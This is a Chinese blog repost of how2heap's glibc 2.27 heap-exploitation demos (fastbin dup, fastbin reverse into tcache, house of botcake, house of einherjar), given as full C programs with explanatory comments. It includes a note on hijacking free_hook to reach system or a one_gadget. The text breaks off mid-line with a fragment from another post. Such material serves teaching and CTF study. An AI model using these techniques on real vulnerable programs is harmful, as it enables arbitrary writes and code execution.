how2heap glibc 2.27
Posted Nullan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了how2heap glibc 2.27相关的知识,希望对你有一定的参考价值。
文章目录
fastbin dup
展示了glibc2.27里利用double free进行的fastbin attack
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
//填充tcache,填七个
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
//申请了三个为0x20大小的chunk,a,b,c分别指向其数据域
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("1st calloc(1, 8): %p\\n", a);
printf("2nd calloc(1, 8): %p\\n", b);
printf("3rd calloc(1, 8): %p\\n", c);
free(a);
//free了第一个0x20的堆块
// free(a);
//如果我们这个时候再次free(a),那就会报错。因为a是这个空闲链表的1顶部
//所以,我们free(b)
free(b);
//然后我们就可以free(a)了
free(a);
//fastbin[0x20]:chunk_a->chunk_b->chunk_a
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\\n", a);
printf("2nd calloc(1, 8): %p\\n", b);
printf("3rd calloc(1, 8): %p\\n", c);
assert(a == c);
}
//最后a和c的地址是一样的
然后我们可以在a块申请时,其fd指针上写入free_got等其他地址,如果写入的是free_hook,在b填入/bin/sh\\x00,在c写入system_plt或者one_gadget或者shellcode等。就可以进行任意地址分配/写
fastbin reverse into tcache
glibc>2.25
这个手法和unsorted_bin_attack很像,主要在chunk<=0x78有效。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
setbuf(stdout, NULL);
printf(
"\\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n"
"except it works with a small allocation size (allocsize <= 0x78).\\n"
"The goal is to set things up so that a call to malloc(allocsize) will write\\n"
"a large unsigned value to the stack.\\n\\n"
);
// Allocate 14 times so that we can free later.
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}
//malloc了14个堆,大小为0x40+0x10,返回数据域地址
printf(
"First we need to free(allocsize) at least 7 times to fill the tcache.\\n"
"(More than 7 times works fine too.)\\n\\n"
);
//free七次到tcache
// Fill the tcache.
for (i = 0; i < 7; i++) {
free(ptrs[i]);
}
//第八个chunk的数据域地址为victim
char* victim = ptrs[7];
printf(
"The next pointer that we free is the chunk that we're going to corrupt: %p\\n"
"It doesn't matter if we corrupt it now or later. Because the tcache is\\n"
"already full, it will go in the fastbin.\\n\\n",
victim
);
free(victim);
//victim到fastbin
printf(
"Next we need to free between 1 and 6 more pointers. These will also go\\n"
"in the fastbin. If the stack address that we want to overwrite is not zero\\n"
"then we need to free exactly 6 more pointers, otherwise the attack will\\n"
"cause a segmentation fault. But if the value on the stack is zero then\\n"
"a single free is sufficient.\\n\\n"
);
///然后填到fastbin
// Fill the fastbin.
for (i = 8; i < 14; i++) {
free(ptrs[i]);
}
//创建一个栈地址,并初始化
// Create an array on the stack and initialize it with garbage.
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));
printf(
"The stack address that we intend to target: %p\\n"
"It's current value is %p\\n",
&stack_var[2],
(char*)stack_var[2]
);
//然后就可以用漏洞点比如缓冲区溢出或者是UAF控制victim的下一个指针
printf(
"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n"
"to overwrite the next pointer at address %p\\n\\n",
victim
);
//------------VULNERABILITY-----------
// Overwrite linked list pointer in victim.
*(size_t**)victim = &stack_var[0];
//把chunk7的fd给写上数组0的值
//------------------------------------
printf(
"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n"
);
// Empty tcache.
for (i = 0; i < 7; i++) {
ptrs[i] = malloc(allocsize);
}
//把tcache中的chunk全部分配出来
printf(
"Let's just print the contents of our array on the stack now,\\n"
"to show that it hasn't been modified yet.\\n\\n"
);
for (i = 0; i < 6; i++) {
printf("%p: %p\\n", &stack_var[i], (char*)stack_var[i]);
}
//分别打印出数组地址,和后面做对比
//下一次分配将会覆写数组地址,因为tcache已经空了。
//fastbin的7个chunk就会去重新填满tcache
//这些chunk的顺序进入tcache是相反的
//所以如果是fastbin的话,最后free的是chunk14,分配的是chunk14,但是反过来了,分配的就是chunk7,但chunk7之前填了一个
printf(
"\\n"
"The next allocation triggers the stack to be overwritten. The tcache\\n"
"is empty, but the fastbin isn't, so the next allocation comes from the\\n"
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n"
"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n"
"address that we are targeting ends up being the first chunk in the tcache.\\n"
"It contains a pointer to the next chunk in the list, which is why a heap\\n"
"pointer is written to the stack.\\n"
"\\n"
"Earlier we said that the attack will also work if we free fewer than 6\\n"
"extra pointers to the fastbin, but only if the value on the stack is zero.\\n"
"That's because the value on the stack is treated as a next pointer in the\\n"
"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n"
"\\n"
"The contents of our array on the stack now look like this:\\n\\n"
);
malloc(allocsize);
//申请到数组0,其fd是之前fastbin的前一个堆块,数组上的2也被改为这个值
for (i = 0; i < 6; i++) {
printf("%p: %p\\n", &stack_var[i], (char*)stack_var[i]);
}
//依次打印出堆地址
char *q = malloc(allocsize);
//申请出地址赋值给q,这个就是数组2的位置
printf(
"\\n"
"Finally, if we malloc one more time then we get the stack address back: %p\\n",
q
);
assert(q == (char *)&stack_var[2]);
return 0;
}
总结下来的步骤
填满tcache,free掉victim
然后free若干个chunk进fastbin
改victim的fd
malloc一次,是fastbin最后的一个chunk,也就是victim
其余fastbin中的chunk依次放入对应大小的tcache bin中,由于victim的next指向目标地址,故其fd指向的值被最后放入tcache bin
目标地址的 victim的fd再+0x10 写上了一个chunk的地址
house of botcake
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\\n");
// prepare the target
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\\n\\n", stack_var);
//定义了我们的target
// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
//首先我们申请7个chunk
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
//先申请了一个prev和一个a
printf("malloc(0x100): a=%p.\\n", a);
puts("Allocating a padding to prevent consolidation.\\n");
malloc(0x10);//防止合并
// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
//把tcache填满
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);
//先释放a,再释放prev,这个时候a和prev合并了,都在unsortedbin中,此时因为prev地址低,变成prev地址
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n");
malloc(0x100);//tcache少了一个
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/
//这是a的double free ,因为0x110大小的tcache有空余,所以a被立即放入tcache,不会进行doublefree检查,这样a就同时在tcache链表中和unsortedbin 0x220chunk
// simple tcache poisoning
puts("Launch tcache poisoning");
puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
intptr_t *b = malloc(0x120);
//从0x220的unsorted bin中切割0x130,这个一般是大于a的大小的,所以包含了prev全部的0x110和a的0x20所以最后两个就是a的fd
puts("We simply overwrite victim's fwd pointer");
b[0x120/8-2] = (long)stack_var;
//修改a的fd为target
// take target out
puts("Now we can cash out the target chunk.");
malloc(0x100);//申请tcache的a,下一个就是target
intptr_t *c = malloc(0x100);//target
printf("The new chunk is at %p\\n", c);
// sanity check
assert(c==stack_var);
printf("Got control on target/stack!\\n\\n");
// note
puts("Note:");
puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");
return 0;
}
总结:
申请prev和a
填满tcache
malloc一个出来,让tcache有空缺
先free(a),a进入tcache
free(prev)再free(a)合并为一个unsorted bin
然后alloc一个比prev大一点的块,这样可以覆盖到a
切出来后可以改a的next了
house of einherjar
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to House of Einherjar!\\n");
printf("Tested in Ubuntu 18.04.4 64bit.\\n");
printf("This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions.\\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n");
uint8_t* a;
uint8_t* b;
uint8_t* d;
printf("\\nWe allocate 0x38 bytes for 'a'\\n");
a = (uint8_t*) malloc(0x38);
printf("a: %p\\n", a);
int real_a_size = malloc_usable_size(a);
//malloc_usable_size()可以返回指针所指向的 chunk 不包含头部的大小,chunk a 的 size
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\\n", real_a_size);
// create a fake chunk
printf("\\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\\n");
printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n");
printf("(although we could do the unsafe unlink technique here in some scenarios)\\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
// prev_size 必须要等于 fake_chunk 的 size用来绕过 P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
//足够到smallbin就可以了
fake_chunk[2] = (size_t) fake_chunk; // fd
fake_chunk[3] = (size_t) fake_chunk; // bk
fake_chunk[4] = (size_t) fake_chunk; //fd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bk_nextsize
//构造fake_chunk
printf("Our fake chunk at %p looks like:\\n", fake_chunk);
printf("prev_size (not used): %#lx\\n", fake_chunk[0]);
printf("size: %#lx\\n", fake_chunk[1]);
printf("fwd: %#lx\\n", fake_chunk[2]);
printf("bck: %#lx\\n", fake_chunk[3]);
printf("fwd_nextsize: %#lx\\n", fake_chunk[4]);
printf("bck_nextsize: %#lx\\n", fake_chunk[5]);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x4f8);
int real_b_size = malloc_usable_size(b);
//申请了0x508大小的chunk
printf("\\nWe allocate 0x4f8 bytes for 'b'.\\n");
printf("b: %p\\n", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
//可以看出b的size,然后赋值给size_ptr
printf("\\nb.size: %#lx\\n", *b_size_ptr);
//打印出b的size
printf("b.size is: (0x500) | prev_inuse = 0x501\\n");
//大小是0x500但是有个pre_inuse = 1
printf("We overflow 'a' with a single null byte into the metadata of 'b'\\n");
/* VULNERABILITY */
//这个是off by null 的漏洞,编辑a可以改写b的pre_inuse为0
a[real_a_size] = 0;
/* VULNERABILITY */
printf("b.size: %#lx\\n", *b_size_ptr);
//看一下b的数据控制域
printf("This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\\n");
printf("If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\\n");
// Write a fake prev_size to the end of a
printf("\\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
//这里用chunkb的地址减去fake_chunk数组的地址,得到fake_chunk的size
printf("Our fake prev_size will be %p - %p = %#lx\\n", b-sizeofhow2heap 2:fastbin_dup